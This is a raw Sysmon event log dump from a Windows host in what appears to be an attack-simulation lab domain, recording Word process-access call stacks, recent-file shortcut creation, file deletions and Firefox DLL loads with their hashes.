Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+3c76c8|C:\Windows\System32\windows.storage.dll+3cbcbf|C:\Windows\System32\windows.storage.dll+3cc218|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1945f4|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1944d9|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-728B-613B-500B-00000000F001}6444496C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+3c76ac|C:\Windows\System32\windows.storage.dll+3cbcbf|C:\Windows\System32\windows.storage.dll+3cc218|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1945f4|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1944d9|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-728B-613B-500B-00000000F001}6444496C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+3c76ac|C:\Windows\System32\windows.storage.dll+3cbcbf|C:\Windows\System32\windows.storage.dll+3cc218|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1945f4|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1944d9|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.137{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.137{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.137{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.137{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.137{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.137{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.137{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.137{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000049727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.137{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\Public.LNK2021-09-10 14:58:21.622 23542300x800000000000000049726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.137{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\Public.LNKMD5=2E81099119EF52575C22D664CA0B64AA,SHA256=5EAF64C9E65AA90D9D74B268B4573B14A6237E2465D863DB9FCB0E748049CAA2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000049725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.124{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=333ED392636766F046184B393DFA8AD0,SHA256=C4701FEB10D5FB5D219F84D5A2B22090E3316D71B47EAF82A53DD47CCB874AC8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 11241100x800000000000000049724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.124{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\Public.lnk2021-09-10 14:58:22.124 11241100x800000000000000049723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.107{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\ibivigi.txt.lnk2021-09-10 14:58:22.107 734700x800000000000000049722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\lgpllibs.dll92.0-FirefoxMozilla Foundationlgpllibs.dllMD5=269AB2EAD217B029964A404AA6274B7F,SHA256=4EC20AE6993C89A577E13B64EEAD560E680FBC22B0398E4F747E24338DAB4E3A,IMPHASH=451AECEA9F58042E76D96A82BE2804FAtrueMozilla CorporationValid 734700x800000000000000049721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\lgpllibs.dll92.0-FirefoxMozilla Foundationlgpllibs.dllMD5=269AB2EAD217B029964A404AA6274B7F,SHA256=4EC20AE6993C89A577E13B64EEAD560E680FBC22B0398E4F747E24338DAB4E3A,IMPHASH=451AECEA9F58042E76D96A82BE2804FAtrueMozilla CorporationValid 734700x800000000000000049720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winmmbase.dll10.0.14393.0 (rs1_release.160715-1616)Base Multimedia Extension API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWINMMbase.DLLMD5=24C1E8F8C10471C5A6F0E8AF141211EB,SHA256=75ECAE23C920D81614BA5C0648377C2FC04C7379FD6A388C244A81F50AAB7B1C,IMPHASH=0B9A3C99AAFA99247F9E2BD866186AEAtrueMicrosoft WindowsValid 734700x800000000000000049719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wsock32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Socket 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationwsock32.dllMD5=9471D5E2FEDF5552440BF935143DFAB0,SHA256=B489197F05EFFFB17F10FA9942DB88100C86BEB8291F9ACC8EB38BEF751BF90D,IMPHASH=6D33A1BDF842DEBFB889C44A830190E7trueMicrosoft WindowsValid 734700x800000000000000049718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winmm.dll10.0.14393.0 (rs1_release.160715-1616)MCI API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWINMM.DLLMD5=F16410F5D557337B05CF4F93691EC106,SHA256=2B5BC3C0A6514356C6719298FC25D8D192A2C973EE3283EF48379D2745C9BD87,IMPHASH=9F0D37252D56D3F9E44E69CCC59B57AEtrueMicrosoft WindowsValid 10341000x800000000000000049717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.044{7BD73061-6D0F-613B-9406-00000000F001}44804752C:\Windows\Explorer.EXE{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\windows.storage.dll+3c6ffe|C:\Windows\System32\windows.storage.dll+3c8fee|C:\Windows\System32\windows.storage.dll+7ad03|C:\Windows\System32\windows.storage.dll+7c309|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.044{7BD73061-6D0F-613B-9406-00000000F001}44804752C:\Windows\Explorer.EXE{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\windows.storage.dll+3ca15e|C:\Windows\System32\windows.storage.dll+3c5e2f|C:\Windows\System32\windows.storage.dll+3c6f70|C:\Windows\System32\windows.storage.dll+3c8fee|C:\Windows\System32\windows.storage.dll+7ad03|C:\Windows\System32\windows.storage.dll+7c309|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.044{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.044{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.044{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.044{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft 